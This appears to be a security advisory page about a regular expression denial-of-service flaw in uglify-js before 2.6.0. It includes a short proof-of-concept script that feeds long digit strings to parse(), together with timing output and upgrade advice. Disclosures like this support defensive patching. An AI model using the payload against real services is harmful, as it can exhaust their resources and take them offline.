High

Regular Expression Denial of Service in uglify-js

Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

bash

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	uglify-js	< 2.6.0	2.6.0

References

CVSS score 7.5/10

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-1333
Platform: npm
Package: uglify-js
Disclosed: 24.10.2017
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-c9f4-xj24-8jqx - CC BY 4.0

Vulnerability history: uglify-js

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 10.2017 10.2017
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 1

Disclosures per year

2017: 2
2018: 0
2019: 0
2020: 0
2021: 0
2022: 0
2023: 0
2024: 0
2025: 0
2026: 0

24.10.2017

Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js

Critical · 9.8 CVE-2015-8857 < 2.4.24 2.4.24
24.10.2017

Regular Expression Denial of Service in uglify-js this entry

High · 7.5 CVE-2015-8858 < 2.6.0 2.6.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application